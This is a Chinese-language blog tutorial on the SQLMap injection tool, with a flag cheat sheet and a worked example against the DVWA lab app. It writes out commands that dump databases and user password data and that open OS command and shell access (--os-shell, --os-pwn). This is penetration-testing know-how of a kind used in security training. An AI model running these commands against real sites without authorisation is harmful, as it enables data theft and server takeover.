渗透常用工具-SQLMap

渗透常用工具-SQLMap,第1张

sqlmap 是用python编写的渗透测试工具,可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。通常检测到存在sql注入点时,就可以利用此工具来进行验证。

下载使用

SQLMap下载地址:https://sqlmap.org/#download
Python下载地址:https://www.python.org/downloads/

根据以上下载地址来获取安装包
SQLmap:

Python:

下载完后安装即可使用。

使用方法

打开sqlmap所在目录,打开命令行。

在命令行中输入python sqlmap.py -u "http://xxx.com -p “id” --cookie=“xxxx”

结果

查库查表查字段
检测注入点python sqlmap.py -u “http://xxx.com?id=1”
列出数据库python sqlmap.py -u “http://xxx.com?id=1” --dbs
列出数据表python sqlmap.py -u “http://xxx.com?id=1” -D database --tables
列出字段名python sqlmap.py -u “http://xxx.com?id=1” -D database -T table_name --columns
列出字段python sqlmap.py -u “http://xxx.com?id=1” -D database -T table_name -C coulmn_name --dump
常用参数表
设置cookiepython sqlmap.py -u “http://xxx.com?id=1” --cookie=
检测cookie头python sqlmap.py -u “http://xxx.com?id=1” --level=2 --cookie=
指定参数检测python sqlmap.py -u “http://xxx.com?id=1&article=1” -p “id”
自动判断python sqlmap.py -u “http://xxx.com?id=1&article=1” --batch
注入结果在其他页面python sqlmap.py -u “http://xxx.com?id=1&article=1” --second-url “http://xxx.com”
设置代理python sqlmap.py -u “http://xxx.com?id=1” --proxy=“xxx”
设置探测等级python sqlmap.py -u “http://xxx.com?id=1” --level
设置风险等级python sqlmap.py -u “http://xxx.com?id=1” --risk
判断状态码python sqlmap.py -u “http://xxx.com?id=1” – code=200
响应体返回参数python sqlmap.py -u “http://xxx.com?id=1” --string=“xxx”;
添加正则python sqlmap.py -u “http://xxx.com?id=1” --regexp
查找在错误页面中的字符串python sqlmap.py -u “http://xxx.com?id=1” --not-string
POST参数python sqlmap.py -u “http://xx.com?id=1” --data=“xxx”
referer参数python sqlmap.py -u “http://xx.com?id=1” --level=3 --referer=http://xxx.com
批量检查python sqlmap.py -m 路径
检测httpspython sqlmap.py -u “https://xxx.com” --force-ssl
获取当前用户名称python sqlmap.py -u “http://xxx.com” --current-user
获取当前数据库名称python sqlmap.py -u “http://xxx.com” --current-db
确认是否为dbapython sqlmap.py -u “http://xxx.com” --is-dba
查看权限python sqlmap.py -u “http://xxx.com” --privileges
查看指定用户权限python sqlmap.py -u “http://xxx.com” --privileges -U username
获取所有数据库用户密码python sqlmap.py -u “http://xxx.com” --passwords
获取指定用户密码python sqlmap.py -u “http://xxx.com” --passwords -U username
获取所有数据库角色python sqlmap.py -u “http://xxx.com” --roles
获取所有数据库用户python sqlmap.py -u “http://xxx.com” --users
获取所有数据库所有表python sqlmap.py -u “http://xxx.com” --dump-all
执行系统命令python sqlmap.py -u “http://xxx.com” --os-cmd=xxx
系统交互shellpython sqlmap.py -u “http://xxx.com” --os-shell
执行指定sql语句python sqlmap.py -u “http://xxx.com” --sql-shell
反dshellpython sqlmap.py -u “http://xxx.com” --os-pwn
读取windows注册表python sqlmap.py -u “http://xxx.com” --reg-read
多线程python sqlmap.py -u “http://xxx.com” –threads
–level

它共有五个等级,1-5,默认为1,等级2测试Cookie,等级3User-Agent/Referer头,等级4,5则会测试xff头等其他头部,如果想测试的全面一些可以用较高的level值。

–risk

它有3个等级划分,1-3,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

使用案例

这里用dvwa来测试,等级为高
通过正常流程测试,可以有两个页面,小页面用来接收sql参数,主页面用来显示结果,那么就要用到 --second-url参数

由于sqlmap去访问dvwa需要登录,则还需要用到--cookie参数
再看数据包是POST传值,则还要用到--data参数,且我们知道id可能是存在注入点,则用-p来指定检测参数。
所以检测是否存在sql注入的完整语句如下:

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id"


检测是存在sql注入的,并且返回了mysql的版本以及注入手段,payload等。
那么直接查库 --dbs,如果想看当前库则使用 --current-db

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" --dbs


这里我指定dvwa库,现在来查表 --tables

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa --tables


查users字段名 --columns

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa -T users --columns


获取user,password的数据 --dump

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa -T users -C user,password --dump

以上就是sqlmap的基本使用,其他参数表哥们可以自行研究下。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/875659.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-13
下一篇 2022-05-13

发表评论

登录后才能评论

评论列表(0条)

保存